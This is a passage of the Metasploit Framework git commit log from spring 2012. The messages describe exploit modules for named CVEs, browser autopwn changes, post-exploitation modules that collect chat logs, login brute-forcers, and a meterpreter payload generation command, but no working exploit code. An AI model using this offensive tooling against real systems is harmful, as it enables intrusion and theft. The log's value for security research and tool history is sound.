Date:   Mon Nov 21 16:11:35 2011 -0600

    Remove AR patch stuff; attempting to debug non-connection between MSF and Pro

commit 4586112241
Author: Trevor Rosen <trevor@catapult-creative.com>
Date:   Fri Nov 18 16:17:27 2011 -0600

    Drop ActiveRecord/ActiveSupport in preparation for upgrade
2012-04-15 23:35:38 -05:00
Leonardo Botelho fdd8afea88 minor changes 2012-04-15 22:58:58 -03:00
Leonardo Botelho 5bb087d9a7 Exploit module for xRadio Buffer Overflow. 2012-04-15 19:16:11 -03:00
Raphael Mudge 6986391f33 Armitage 04.16.12 - a few small improvements. 2012-04-15 15:14:26 -04:00
Chris John Riley f4f1ec70bc Altered regex to detect Jetty hosts
Added in detection for 401 Authentication responses
Added alternative REST based run method (seen in Axis2 1.1.1)
Added check to prevent // from appearing at the start of the URI (causes issues on Jetty hosts)

There should be a default method for URI to prevent double / from appearing at the start of the path (can cause unknown issues).
2012-04-15 15:13:21 +02:00
Steven Seeley 9b2797f707 better randomization 2012-04-15 12:16:51 +10:00
Steven Seeley 50e36d3fb0 cyberlink Power2Go name attribute stack buffer overflow 2012-04-14 17:57:22 +10:00
sinn3r 4be0361f69 These modules shouldn't be here, sorry 2012-04-14 02:12:45 -05:00
chap0 c6a6b79c23 gsm sim 5.15 module, can get the download to test here >
download.cnet.com/GSM-SIM-Utility/3000-18508_4-10396246.html
2012-04-13 22:12:48 -07:00
sinn3r 5cbf447a13 Correct OSVDB reference, thanks Daniel 2012-04-13 23:34:44 -05:00
sinn3r 1927feb9c3 Merge branch 'master' of https://github.com/mrmee/metasploit-framework 2012-04-13 18:17:38 -05:00
sinn3r 2d069f8013 Add CVE-2011-4828 module 2012-04-13 18:12:16 -05:00
Steven Seeley cdd49bf16a fixed references, describe target better 2012-04-13 11:23:28 +10:00
Steven Seeley c851722d50 fixed the description... 2012-04-13 11:18:24 +10:00
Steven Seeley 9b0c211160 exploit for cyberlinks Power2Go application. I find this software installed by default on alot of HP notebooks along with the CD installer. Not quite sure this was exploited earlier.. 2012-04-13 11:07:36 +10:00
Steven Seeley 762324e286 Merge remote-tracking branch 'upstream/master' 2012-04-13 10:26:12 +10:00
Tod Beardsley 18d83ee6c1 Permissions fix for modicon_ladder.apx 2012-04-12 14:26:27 -05:00
sinn3r d31771d7f9 Randomize as many nops as possible without making the exploit too unstable 2012-04-12 03:45:13 -05:00
sinn3r 0d739a1a51 Module rename. Cleanup whitespace. Fix typos. 2012-04-12 03:45:12 -05:00
Steven Seeley 14f85e406f exploit for Quest InTrust 10.4.x Annotation Objects ActiveX Control AnnotateX.dll Uninitialized Pointer Remote Code Execution 2012-04-12 03:45:12 -05:00
HD Moore 91e8c713f2 The go faster button 2012-04-12 01:39:18 -05:00
sinn3r 835d8b209d clear whitespace 2012-04-12 01:08:22 -05:00
Steven Seeley 846be0e983 exploit for Quest InTrust 10.4.x Annotation Objects ActiveX Control AnnotateX.dll Uninitialized Pointer Remote Code Execution 2012-04-12 13:10:18 +10:00
sinn3r 860add8dfe Code cleanup 2012-04-11 20:26:52 -05:00
James Lee 810d496ade Chmod the payload executable
Makes native payloads work on non-windows, thanks mihi!
2012-04-11 12:48:14 -06:00
James Lee 8ee0a5533c Fix a NoMethodError on nil when cat'ing a file in meterpreter
Thanks, mihi for the report.
2012-04-11 11:46:52 -06:00
James Lee 627ae308b3 Couple of small rdoc cleanups 2012-04-11 11:45:48 -06:00
sinn3r 443f19abcf Merge branch 'CVE-2008-5499_adobe_flashplayer_aslaunch' of https://github.com/0a2940/metasploit-framework into 0a2940-CVE-2008-5499_adobe_flashplayer_aslaunch 2012-04-11 10:04:01 -05:00
James Lee b077efb7f0 Missed one. 2012-04-11 00:30:18 -06:00
James Lee d0eb383655 Un-standardize printing in browser modules
This is now handled by the HttpServer mixin
2012-04-11 00:26:25 -06:00
James Lee a86bdf883e Add defaults to the print_* method arguments
Fixes breakage with modules that use print_line() or similar.

This commit also includes some RDoc additions and markup fixes
2012-04-11 00:14:03 -06:00
James Lee 3ad3caf450 Save the connecting client in thread-local storage
Allows print_* overrides to show it when it's available.
2012-04-10 23:21:55 -06:00
James Lee 090566610a Make sure @shares is initialized
Fixes a stack trace when the target isn't Windows
2012-04-10 15:00:47 -06:00
Tod Beardsley a8cd28d6d5 Merge pull request #325 from rapid7/persistence-option
ACTION on persistence.rb should be an OptEnum
2012-04-10 13:05:11 -07:00
Tod Beardsley 94cf69cdf8 Yank the ACTION option from persistence
Other problems with this module since commit
5ba5bbf077 but this should be enough to
get it working again.
2012-04-10 15:01:14 -05:00
0a2940 654701f1b2 new file: data/exploits/CVE-2008-5499.swf
new file:   external/source/exploits/CVE-2008-5499/Exploit.as
	new file:   modules/exploits/linux/browser/adobe_flashplayer_aslaunch.rb
2012-04-10 20:58:22 +01:00
Tod Beardsley 03c958a9b1 ACTION on persistence.rb should be an OptEnum
That way, upcase / downcase problems get caught on option validation,
rather than down in the module's guts.
2012-04-10 14:45:54 -05:00
Tod Beardsley cbc12560a5 Leading tabs, not spaces
There's a coding style in here that will make msftidy.rb cry, and
that's:

```
varfoo = %q|
    stuff
      thats
        html
|
```

Usually, you want something like

varfoo = ""
varfoo << %q|    stuff|
varfoo << %q|      thats|
varfoo << %q|        html|

That said, the Description field is usually written as tab-intended
multiline %q{} enclosures, so that's what I'll do here to make
msftidy.rb happy.
2012-04-10 14:25:00 -05:00
Tod Beardsley cdc020ba9f Trailing space on xpi bootstrap module 2012-04-10 14:24:08 -05:00
Tod Beardsley 3cb7cbe994 Adding another ref and a disclosuredate to mihi's XPI module
Calling the disclosure date 2007 since TippingPoint published a blog
post back then about this XPI confirm-and-install vector.
2012-04-10 13:59:21 -05:00
sinn3r 0e1fff2c4b Change the output style to comply with egyp7's expectations. 2012-04-10 13:42:52 -05:00
James Lee 28534d5f6e Merge branch 'rapid7' into bap-refactor 2012-04-10 12:42:27 -06:00
sinn3r 76c12fe7e6 Whitespace cleanup 2012-04-10 13:22:10 -05:00
sinn3r 7d8e1e5e8b Merge branch 'firefox_xpi' of https://github.com/schierlm/metasploit-framework into schierlm-firefox_xpi 2012-04-10 13:12:12 -05:00
James Lee e7809b1b3b Remove print_status line from db.rb
Not defined in that context, causes stack traces on db_import
2012-04-10 11:07:23 -06:00
Michael Schierl 705cf41858 Add firefox_xpi_bootstrapped_addon exploit
This is similar to java_signed_applet as it does not exploit a vulnerability, but
hope that the user will trust the addon.
2012-04-10 13:39:54 +02:00
HD Moore a9d733f9fe Fix pack order 2012-04-09 21:21:42 -05:00
Tod Beardsley 366cb2ff08 Merge branch 'egypt-packetwise'
Added in the upstream PacketFu changes and this all looks good for the
importer. Thanks!
2012-04-09 15:59:33 -05:00
Tod Beardsley b8129f9463 Updating PacketFu to match upstream 2012-04-09 15:47:21 -05:00
James Lee 2de0c801d9 Add vulnerable version numbers to the description 2012-04-09 14:41:42 -06:00
sinn3r 71d2ef71f8 Don't want to print vuln.info if it's nil 2012-04-09 15:38:02 -05:00
sinn3r ab5a4beb99 Merge branch 'andurin-5837' of https://github.com/wchen-r7/metasploit-framework into wchen-r7-andurin-5837 2012-04-09 15:18:55 -05:00
James Lee c19a4d7a23 Put final detection results on window.os_detect object
Makes it easier to grab results from within a module without having to
run the detection again.  I thought I had committed something like this
before, I wonder what other code I've lost...
2012-04-09 14:08:35 -06:00
HD Moore 2c473e3cdd Fix up koyo login 2012-04-09 15:07:47 -05:00
juan 246ebca940 added module for CVE-2012-0198 2012-04-09 20:45:27 +02:00
sinn3r a26e844ce5 Merge pull request #318 from wchen-r7/dolibarr_login
Add an aux module to brute force Dolibarr's login interface
2012-04-09 09:20:48 -07:00
sinn3r 2971eb2fdf Merge pull request #315 from andurin/nessusplug
Fix broken nessus_safe - #6597 (freaky clown)
2012-04-09 08:03:06 -07:00
sinn3r bef12478fc Merge branch 'bap-refactor' of https://github.com/jlee-r7/metasploit-framework into jlee-r7-bap-refactor 2012-04-09 09:58:22 -05:00
James Lee 037fbf655e Standardize the print format for modules used by browser autopwn 2012-04-09 01:57:50 -06:00
James Lee b38933328f Send exploits that are not assocated with any browser to all of them 2012-04-09 01:53:57 -06:00
James Lee 3ca440089e Add checks for .NET requisites
Also standardizes print_status format to look nicer with lots of cilents
2012-04-09 01:23:44 -06:00
James Lee a6b106e867 Remove autopwn support for enjoysapgui_comp_download
No automatic targeting, the payload doesn't execute immediately, and
requires the browser be running as Admin. Bascially just not a great
candidate for being run automatically.
2012-04-09 01:05:37 -06:00
James Lee 409ba3139b Add bap checks for blackice exploit 2012-04-09 00:50:04 -06:00
sinn3r 5fefb47b7f Some cosmetic changes 2012-04-09 01:43:20 -05:00
sinn3r 95dbb8a818 Merge branch 'snort-dce-rpc' of https://github.com/carmaa/metasploit-framework into carmaa-snort-dce-rpc 2012-04-09 00:17:44 -05:00
James Lee da1cb2b81d ActiveX controls require IE 2012-04-08 22:07:09 -06:00
sinn3r 9cec9639c7 Add an aux module to brute force Dolibarr's login interface 2012-04-08 18:16:38 -05:00
James Lee f520af036f Move next_exploit() onto window object so it's accessible everywhere
I swear I committed this before, not sure what happened.
2012-04-08 17:11:15 -06:00
James Lee b58a87b7a8 Skip ::1 as well as 127.0.0.1 for session_host
Thanks rsmudge for pointing this out.

[Fixes #6599]
2012-04-08 14:58:39 -06:00
Carsten Maartmann-Moe ce0de02a2a Modified for 8-space tabs 2012-04-08 16:09:28 -04:00
Carsten Maartmann-Moe 89c1894e07 Minor formatting changes, tabs etc. and comments for clarity 2012-04-08 15:45:23 -04:00
sinn3r 51bdfe14fd 2012, not 2011, oops 2012-04-08 13:21:37 -05:00
sinn3r 24478e9eb5 Add Dolibarr ERP & CRM Command Injection Exploit 2012-04-08 13:20:22 -05:00
James Lee 9ae9509cfe More fingerprints from browsershots 2012-04-08 11:12:32 -06:00
sinn3r c6162bbe08 I've changed my mind. Default to "/" anyway even if it's nil. 2012-04-07 19:47:28 -05:00
sinn3r cfb34739f9 Actually, let's default to "/" only if the TARGETURI option is empty. If it's nil, we prefer to throw the exception at the user. 2012-04-07 19:44:34 -05:00
sinn3r 9a229dfcff Make target_uri default to "/" in case the TARGETURI option is nil or empty 2012-04-07 19:43:19 -05:00
sinn3r 05eba0ab4c Cosmetic changes, mostly :-) 2012-04-07 14:47:23 -05:00
sinn3r 00ff2e3dc1 Merge branch 'CVE-2012-1195_thinkmanagement' of https://github.com/juanvazquez/metasploit-framework into juanvazquez-CVE-2012-1195_thinkmanagement 2012-04-07 14:41:19 -05:00
juan 938d5d0a75 added references for cve-2012-1196 2012-04-07 20:22:59 +02:00
juan ee7bce5995 deletion of the ASP script 2012-04-07 20:19:45 +02:00
Tod Beardsley dfe2bbc958 Use rport for modicon_password recovery, not 21. 2012-04-07 13:03:43 -05:00
juan 8761d39190 exploit module added for CVE-2012-1195 2012-04-07 19:04:17 +02:00
andurin 9201840d65 Fix broken nessus_safe
Kudohs to 'freaky clown' for the initial patch
IssueID #6597
2012-04-07 10:20:55 +02:00
Carsten Maartmann-Moe b2e0acd92a Tidied up the exploit 2012-04-06 20:41:54 -04:00
James Lee bac6bcd6f1 More fingerprints from browsershots 2012-04-06 18:41:14 -06:00
James Lee 31e3eb7d91 Merge branch 'rapid7' into bap-refactor 2012-04-06 18:12:49 -06:00
James Lee bb4e37b7aa Add a few fingerprints. Thanks browsershots.org! 2012-04-06 18:09:19 -06:00
andurin 4e955e5870 replace spaces with tabs 2012-04-06 10:45:10 -05:00
andurin 67e6c7b850 tomcat_mgr_deploy may report successful creds
Using following code for 'check' as 'exploit':
               report_auth_info(
                       :host   => rhost,
                       :port   => rport,
                       :sname  => (ssl ? "https" : "http"),
                       :user   => datastore['BasicAuthUser'],
                       :pass   => datastore['BasicAuthPass'],
                       :proof  => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}",
                       :active => true
               )

Resulting in:

Credentials
===========

host           port  user    pass    type      active?
----           ----  ----    ----    ----      -------
192.168.x.xxx  8080  tomcat  s3cret  password  true
2012-04-06 10:45:10 -05:00
Tod Beardsley 461352f24f Don't need to require net/ftp anymore
Nothing actually used it anyway.
2012-04-06 10:35:28 -05:00
andurin 274404716f Show vuln.info on db_vuln command
IssueID #5837
2012-04-06 14:47:36 +02:00
sinn3r 56b10d4d23 Merge branch 'CVE-2012-0270_csound_getnum_bof' of https://github.com/juanvazquez/metasploit-framework into juanvazquez-CVE-2012-0270_csound_getnum_bof 2012-04-06 02:28:26 -05:00
sinn3r 68c81e3ae0 Add OSVDB-80661 TRENDnet SecurView ActiveX BoF 2012-04-06 02:26:04 -05:00
Carsten Maartmann-Moe b184a6dc5c Exploit for Snort CVE-2006-5276 on Windows 2012-04-05 19:46:56 -04:00
Tod Beardsley 9c8e6ac9da Ruby 1.8 compat for the SCADA modules.
But really, you should be using Ruby 1.9 by now.
2012-04-05 17:05:03 -05:00
Tod Beardsley 14e3cd75dc Revert "tomcat_mgr_deploy may report successful creds"
This reverts commit 937f8f035a.
2012-04-05 16:17:06 -05:00
juan 5c6856539e .idea dir deleted 2012-04-05 22:46:43 +02:00
juan 955de5a68c comment fixed 2012-04-05 22:46:13 +02:00
juan c5f73d3d7a added module for CVE-2012-0270_csound_getnum_bof 2012-04-05 22:35:42 +02:00
HD Moore 0f7b08781f Fix regular expression match number 2012-04-05 12:55:54 -05:00
James Lee 585245501a Print an error when trying to open a dir as a file
Prevents unnecessary stack traces
2012-04-05 11:49:03 -06:00
James Lee 0c3f1aab77 Tell the user what actually went wrong when migrate.rb fails 2012-04-05 11:49:03 -06:00
sinn3r 03543560b3 Merge pull request #308 from aczid/wmap_autotest_rc_targeting
Also adding wmap targets by ip
2012-04-05 10:41:47 -07:00
Tod Beardsley 14d9953634 Adding DigitalBond SCADA modules 2012-04-05 12:35:48 -05:00
James Lee 2c992c976d Cut session info at 80 columns
Prevents a long "id" line from destroying the layout
2012-04-05 11:07:42 -06:00
Aram Verstegen b54d786374 Also adding wmap targets by ip in case no websites/vhosts were discovered prior to running the script 2012-04-05 18:20:46 +02:00
Tod Beardsley eb39b5f6aa Msftidy on netop 2012-04-05 10:33:57 -05:00
sinn3r 8628991b1d Merge pull request #305 from jlee-r7/bap-refactor
Bap refactor
2012-04-05 08:02:43 -07:00
sinn3r 57b8279c36 Merge pull request #306 from andurin/small_fixes
tomcat_mgr_deploy may report successful creds
2012-04-05 08:00:58 -07:00
andurin 175d6650a9 Added new pass for tomcat
Have seen this in the wild as a example users.xml
2012-04-05 11:18:41 +02:00
andurin 937f8f035a tomcat_mgr_deploy may report successful creds 2012-04-05 11:09:56 +02:00
James Lee 40ab362e1c Store host details in the target cache
This allows us to maintain a connection between the client and the
operating system/host where it's running.

Also fixes a counting problem for modules actually started.
2012-04-05 01:33:07 -06:00
James Lee 778fed9a19 Put things in the right namespace 2012-04-05 01:22:27 -06:00
James Lee 0ddfa79a34 Move javascriptosdetect out to its own file
Allows editors to easily highlight correctly which makes editing a
little nicer. Also makes it easier to debug because line numbers are
only off by the length of the custom_js argument.
2012-04-04 17:07:17 -06:00
sinn3r 57c22a50fa Merge pull request #296 from allfro/patch-1
rpc_loots method uses the wrong iteration variable ('n' instead of 'l')
2012-04-04 13:58:18 -07:00
sinn3r 7503bc96f0 Apply aczid's patch for wmap_autotest.rc 2012-04-04 15:40:48 -05:00
Michael Schierl 1d56ffe225 Update javapayload and java meterpreter
* Add support for hashing commands (stdapi_fs_md5 and sha1)
* Replace MTU detection with the Proper Java Way

Squashed commit of the following:

commit 0207b6e2e0c0eb55c7c5f04bd3008f674f6239ad
Author: Michael Schierl <schierlm@gmx.de>
Date:   Sat Mar 24 22:02:15 2012 +0100

    add support for stdapi_fs_{md5|sha1} commands

commit a187e7bc79f8d89e66df8d3a3f892c6dce10307b
Author: Michael Schierl <schierlm@gmx.de>
Date:   Sat Mar 24 20:32:03 2012 +0100

    update binaries

commit 0fc553bdac76cc8997fc581141483a3efbdefdfc
Author: Michael Schierl <schierlm@gmx.de>
Date:   Sat Mar 24 20:29:48 2012 +0100

    Add support to Java Meterpreter for multiple addresses on same interface

    For more information, see https://dev.metasploit.com/redmine/issues/6476

    Tested with Java 1.4, 1.5, 1.6, 1.7.

commit fc6dba99fe0b13bf8837ed7a699c5dbad35100e6
Author: Michael Schierl <schierlm@gmx.de>
Date:   Sat Mar 24 16:55:15 2012 +0100

    Fix Eclipse warnings

commit 4168d025507c1ecfbc50164cfc7f25f3f222b0ab
Author: Michael Schierl <schierlm@gmx.de>
Date:   Sat Mar 24 16:29:37 2012 +0100

    Update pretty-printing of unsupported command TLVs

    This adds the TLVs added by commit fbc8e25aaa to the pretty-printer.

commit 4a9335abdabb1b8a7741c5ec67852d7c5d552d6b
Author: Michael Schierl <schierlm@gmx.de>
Date:   Sat Mar 24 16:17:25 2012 +0100

    Un-ghetto Java Meterpreter MTU determination

    This splits the change from commit 14dfcce63a into a 1.6-specific and a 1.4-specific implementation (the latter being empty).

    Tested with Java 1.4, 1.5, 1.6, 1.7.

commit 968edd210ed68ba4974f051e280d90f0151df222
Author: Michael Schierl <schierlm@gmx.de>
Date:   Sat Mar 24 15:52:46 2012 +0100

    update .gitignore to ignore IDE generated files in JavaPayload projects

commit 86111625bee318411cf43da7706d37ce5d7045c5
Author: Michael Schierl <schierlm@gmx.de>
Date:   Sat Mar 24 15:49:58 2012 +0100

    synchronize stages with upstream JavaPayload

commit 2360f2e6eb8703ae762868678ac952203be35d93
Author: Michael Schierl <schierlm@gmx.de>
Date:   Sat Mar 24 15:39:58 2012 +0100

    remove unused stages

[Closes #270]
2012-04-04 09:56:07 -06:00
James Lee 32654b3578 Whitespace at EOL 2012-04-04 09:41:50 -06:00
James Lee 6ad0f41479 Add the client to output 2012-04-03 18:27:16 -06:00
James Lee 974d95b175 Both of these are obsoleted by java_atomicreferencearray 2012-04-03 18:23:42 -06:00
James Lee 893430894e Tell the user how many sploits we've picked 2012-04-03 18:22:56 -06:00
James Lee e901f9cc50 Add a couple of fingerprints and sort some
This is in terrible need of some more crowd-sourced fingerprint
gathering.
2012-04-03 18:18:32 -06:00
sinn3r 662e28f0ab Merge branch 'netop' of https://github.com/wchen-r7/metasploit-framework into wchen-r7-netop 2012-04-03 15:40:11 -05:00
allfro bed6e06e0a Error in tag. Should be :updated_at instead of :modified_at. 2012-04-03 14:52:45 -03:00
sinn3r c79060915a Add Chap0's netop exploit 2012-04-03 11:51:58 -05:00
James Lee 32b1e22d25 Revert "Update packetfu to 1.1.4"
This reverts commit 24e6131ad7.
2012-04-03 10:28:22 -06:00
James Lee 04858220f2 Don't read in the whole pcap file when importing
Still not amazingly fast (about 500 packets per second in my tests), but
now it won't eat all your ram and start crashing things when given a
large file. Requires an upgrade to PacketFu containing pull request 5.
2012-04-03 10:22:36 -06:00
allfro 60fa58c9cf rpc_loots method uses the wrong iteration variable ('n' instead of 'l') for service.port and service:
n.service.port should be l.service.port
n.service should be l.service
2012-04-03 13:10:10 -03:00
sinn3r 1d0ac93d9d Merge branch 'netop' of https://github.com/chap0/metasploit-framework into chap0-netop 2012-04-03 01:03:13 -05:00
Tod Beardsley 5f2baceaec Merge pull request #294 from brandonprry/registry_fixes
reg.rb misc fixes

Mostly typos and type sanity
2012-04-02 19:47:06 -07:00
Brandon Perry 4a3d2a18de hard tabs 2012-04-02 21:42:51 -05:00
Brandon Perry a4d9e59934 silly registry typos 2012-04-02 21:33:01 -05:00
chap0 48d6157d6e New NetOp Guest msf module http://www.netop.com/ 2012-04-02 16:53:51 -07:00
Jonathan Cran 9dbd5e87fd move the lab code to a gem, and make sure the plugin warns users to install the gem 2012-04-02 16:00:43 -05:00
Tod Beardsley 9cf896ffa1 Pre-release fixups on titles and grammar
Fixing squid_pivot_scanning and enum_xchat
2012-04-02 11:24:49 -05:00
Tod Beardsley 7b0ee58d9f Fixing bug spotted by troulouliou in ipv6_neighbor
Just check for nilness, not the :symbol.
2012-04-02 10:02:59 -05:00
Tod Beardsley ab269ac4ec Permissions fix for exploit jar file 2012-04-02 09:27:35 -05:00
James Lee 24e6131ad7 Update packetfu to 1.1.4 2012-04-01 20:00:17 -06:00
sinn3r bd5f43c918 Add another good reference by @mihi42 2012-04-01 01:30:50 -05:00
HD Moore afe3168a36 Enable additional migration-path parameters, use a temporary directory to bring the database online
Conflicts:

	lib/msf/core/db_manager.rb
2012-03-31 12:05:54 -05:00
sinn3r bab4cddd83 Add Jeroen Frijters for finding/reporting the bug 2012-03-31 03:01:09 -05:00
sinn3r 1853f8b0c2 Merge pull request #291 from wchen-r7/enum_xchat
Add post module enum_xchat.rb
2012-03-31 00:42:15 -07:00
sinn3r 543f5ebfe2 Only display the retry message when necessary 2012-03-31 02:40:24 -05:00
sinn3r 4215030eb3 Set a limit to how many times we can retry 2012-03-31 02:38:46 -05:00
sinn3r 6e4ccaae6b Add post module to collect xchat's configs and chat logs 2012-03-31 00:15:21 -05:00
James Lee 62a54e0ad6 Account for stagers that use Assembly
Since staged payloads end up with an array of architectures, this was
failing to find a cpu and causing uncaught exceptions that crashed
msfconsole at startup. This only occurred when a stager contained an
Assembly directive. None of the default paylaods do this, so users
should generally not have been affected.
2012-03-30 17:57:56 -06:00
James Lee 025d905c01 Compiled jar with -target 1.2 so it works on older JVMs 2012-03-30 17:05:20 -06:00
James Lee 6b996ed9de Add checks for data being null, too, just in case 2012-03-30 16:46:49 -06:00
James Lee 11a1ae3a8d Typo in a comment 2012-03-30 16:30:13 -06:00
James Lee b424475774 Add a makefile
Compiles with an old -target so it will work on older JVMs
2012-03-30 16:25:47 -06:00
James Lee cc54a260f5 Merge remote branch 'upstream/master' 2012-03-30 14:31:12 -06:00
James Lee 0547369966 Add bap support for flash mp4 and new java bug
Also fixes a silly issue where adobe_flash_mp4_cprt was adding the
/test.mp4 resource after every request instead of just once at startup.
2012-03-30 12:59:07 -06:00
sinn3r e723704a32 Merge pull request #289 from wchen-r7/enum_colloquy
Add post module enum_colloquy.rb to collect chatlogs and the plist
2012-03-30 09:24:32 -07:00
sinn3r 18a13a4bfb Correct description 2012-03-30 11:22:55 -05:00
sinn3r 392125f201 Merge pull request #290 from swtornio/master
add osvdb ref
2012-03-30 09:17:39 -07:00
Steve Tornio ae21c05e69 add osvdb ref 2012-03-30 07:26:07 -05:00
sinn3r e018c6604f Modify CVE-2012-0507 2012-03-30 02:06:56 -05:00
sinn3r 8d2a58dfd8 Add post module enum_colloquy.rb to collect chatlogs and the preferences list 2012-03-29 16:24:43 -05:00
Tod Beardsley bec8d40a6c File permissions fix 2012-03-29 16:24:31 -05:00
James Lee b5fc8e4a77 Merge branch 'upstream-master' 2012-03-29 13:18:01 -06:00
Tod Beardsley f069a32223 Merge pull request #288 from wchen-r7/cve_2012_0507
Adding sinn3r and juan's exploit for CVE-2012-0507. Blog post coming soon.
2012-03-29 08:46:49 -07:00
sinn3r 791ebdb679 Add CVE-2012-0507 (Java) 2012-03-29 10:31:14 -05:00
Tod Beardsley bd4819e8f2 Merge pull request #238 from mak/linux-x64-find-port
linux/x64/shell_find_port payload
2012-03-29 05:54:54 -07:00
Tod Beardsley 220ad7875f Merge pull request #285 from wvandevanter-r7/squid_pivot_scanning
Squid pivot scanning
2012-03-29 05:02:05 -07:00
Tod Beardsley 434e487800 Merge pull request #287 from rsmudge/armitage
startup bug fix for armitage
2012-03-29 05:00:03 -07:00
Raphael Mudge 28483711e7 initialize a console before connecting to db (forces msf to setup the database for user) 2012-03-29 01:00:03 -04:00
Willis Vandevanter f5e05461f6 changed the false positive check IP to a user set variable 2012-03-28 22:18:56 -04:00
sinn3r 73b53ea225 Merge pull request #286 from jlee-r7/bug/6567
Make sure session.target_host gets resolved
2012-03-28 14:33:26 -07:00
Raphael Mudge e48c47e958 Armitage 03.28.12. Mostly performance improvements. 2012-03-28 14:33:25 -06:00
Tod Beardsley 56404f5edd Fixing EDB reference 2012-03-28 14:33:25 -06:00
HD Moore 9968b94951 Update for compatibility 2012-03-28 14:33:25 -06:00
James Lee e9a9bc4794 Rename enum_user_dirs 2012-03-28 14:33:25 -06:00
James Lee 64f8665df0 Remove loads 2012-03-28 14:33:24 -06:00
James Lee 0e472deede Add a simple test for unix shells 2012-03-28 14:33:24 -06:00
Tod Beardsley bd13720c45 Fixing checksum uri generator again.
This time, it's ensured that generate_uri_checksum(sum) will succeed,
provided the sum is an even number between 80 and 100 (tested)

It's still not great for arbitrary checksum targets, but that's because
there are lots of strings that cannot satisfy the requirement. I kind of
think this is the fault of Rex.
2012-03-28 14:33:24 -06:00
sinn3r d01bf496f0 Remove the extra 'require' 2012-03-28 14:33:24 -06:00
sinn3r 844654b1e1 Add OSX Gather Airport post module 2012-03-28 14:33:24 -06:00
HD Moore f4f8187eee Correct an issue where launched exploits only used saved configurations 2012-03-28 14:33:24 -06:00
James Lee f797bb5d1b Convert railgun tests to ModuleTest API 2012-03-28 14:33:24 -06:00
James Lee 8f376e5605 Allow empty values for OptRegexp options 2012-03-28 14:33:24 -06:00
James Lee 3abb45672d Convert registry tests to ModuleTest API 2012-03-28 14:33:24 -06:00
James Lee 5821a70b16 Add exception logging for test failures 2012-03-28 14:33:24 -06:00
James Lee eda4da870d Return a proper value instead of a silly print 2012-03-28 14:33:24 -06:00
Tod Beardsley 2dfd501e5f Quoting "Chicken of the VNC"
Otherwise, this looks like a nonsense string to people not familiar with
this application.
2012-03-28 14:33:24 -06:00
Tod Beardsley e651c9ba3b Grammar on dns_txt_query_exec payload name and desc 2012-03-28 14:33:24 -06:00
Tod Beardsley 7f0fb84743 Fix up desc again on enum_dns 2012-03-28 14:33:23 -06:00
Tod Beardsley a6ab0304d6 More fixes to enum_dns.rb
* Should use 'and', not & (bitwise AND)
  * Made capitalization sane for Anglophones. See: http://owl.english.purdue.edu/owl/resource/592/1/
2012-03-28 14:33:23 -06:00
Tod Beardsley 27af32d382 Style fixes for enum_dns.rb
* Use a dotted.notation for note types
  * Changed title to something more descriptive
  * Expanded description
  * Other trivial changes
2012-03-28 14:33:23 -06:00
sinn3r 73e5ead177 ADD OSVDB-80262 2012-03-28 14:33:23 -06:00
sinn3r 6789c32539 Add OSVDB-80262 2012-03-28 14:33:23 -06:00
Tod Beardsley cb49500b8f A still cleaner checksummed URI generator
Now with http and https support.
2012-03-28 14:33:23 -06:00
Tod Beardsley 7278946ecb Revert "Precalculate some uri strings in case the 1000-round generation fails"
This reverts commit 7161a548f4.

Prepping for a more sane solution that doesn't change the URI sizes and
succeeds without fallingback to a pre-generated list.
2012-03-28 14:32:27 -06:00
hdm 7d2095bad4 Precalculate some uri strings in case the 1000-round generation fails 2012-03-28 14:32:27 -06:00
Tod Beardsley 4f4200a7b7 Revert "Precalculate some uri strings in case the 1000-round generation fails"
This reverts commit 7161a548f4.

Prepping for a more sane solution that doesn't change the URI sizes and
succeeds without fallingback to a pre-generated list.
2012-03-28 14:32:27 -06:00
Tod Beardsley 9bc309958d A nicer checksum fixer
Just use a checksum digit like a cc#, no need for precalculated lists,
will be correct every time.
2012-03-28 14:31:23 -06:00
hdm dea92a1e29 Precalculate some uri strings in case the 1000-round generation fails 2012-03-28 14:29:31 -06:00
Tod Beardsley 0df4a8a63d Rogue period, DELETED. 2012-03-28 14:29:31 -06:00
sinn3r cfc0fdac7d Cosmetic cleanup 2012-03-28 14:29:31 -06:00
corelanc0d3r 1501cf1932 probably safer to use regex 2012-03-28 14:29:31 -06:00
Kurtis Miller 72cfbaa4d1 forgot to add renamed module 2012-03-28 14:29:31 -06:00
Kurtis Miller df116185d4 modifications recommended by sinn3r 2012-03-28 14:29:31 -06:00
Kurtis Miller 0aaa2b78bd cve-2008-0610 windows exploit module 2012-03-28 14:29:31 -06:00
Jonathan Cran 2c3e296b36 remove trailing comma, thanks troulouliou 2012-03-28 14:29:31 -06:00
Chris John Riley 684663f340 Added Base32 Support 2012-03-28 14:29:31 -06:00
Michael Schierl 016ba1613d fix generating war files for Java payloads from within msfconsole
This fixes this use case:
use payload/java/meterpreter/reverse_tcp
generate -t war -f filename.war
2012-03-28 14:02:46 -06:00
James Lee e522b40465 Make sure session.target_host gets resolved
Not sure why this isn't already resolved when we read it out of the
datastore.  May have something to do with the recent options madness.

[Fixes #6567]
2012-03-28 13:44:23 -06:00
James Lee 95c996c435 Make sure session.target_host gets resolved
Not sure why this isn't already resolved when we read it out of the
datastore.  May have something to do with the recent options madness.

[Fixes #6567]
2012-03-28 13:37:39 -06:00
sinn3r ddc954acd1 Merge pull request #284 from rsmudge/armitage
Armitage 03.28.12. Mostly performance improvements.
2012-03-27 23:40:12 -07:00
Willis Vandevanter 0fcab521d2 fixed print_bad 2012-03-28 02:32:03 -04:00
Raphael Mudge f1d66b941e Armitage 03.28.12. Mostly performance improvements. 2012-03-27 20:01:37 -04:00
Tod Beardsley 5248ec87b5 Fixing EDB reference 2012-03-27 16:49:47 -05:00
HD Moore 64b0f50baa Update for compatibility 2012-03-27 15:29:28 -05:00
Tod Beardsley b1683c94ef Merge pull request #281 from jlee-r7/module-tests
Module tests
2012-03-27 10:23:20 -07:00
James Lee 812457fed0 Rename enum_user_dirs 2012-03-27 10:52:16 -06:00
James Lee 6de7d5aac7 Remove loads 2012-03-27 10:05:42 -06:00
James Lee cd3b96b919 Add a simple test for unix shells 2012-03-27 09:39:50 -06:00
Tod Beardsley a0f0aadad3 Fixing checksum uri generator again.
This time, it's ensured that generate_uri_checksum(sum) will succeed,
provided the sum is an even number between 80 and 100 (tested)

It's still not great for arbitrary checksum targets, but that's because
there are lots of strings that cannot satisfy the requirement. I kind of
think this is the fault of Rex.
2012-03-27 08:34:52 -05:00
Tod Beardsley 5f9000efb3 Merge pull request #280 from wchen-r7/osx_airport
Add OSX Gather Airport post module
2012-03-27 05:48:26 -07:00
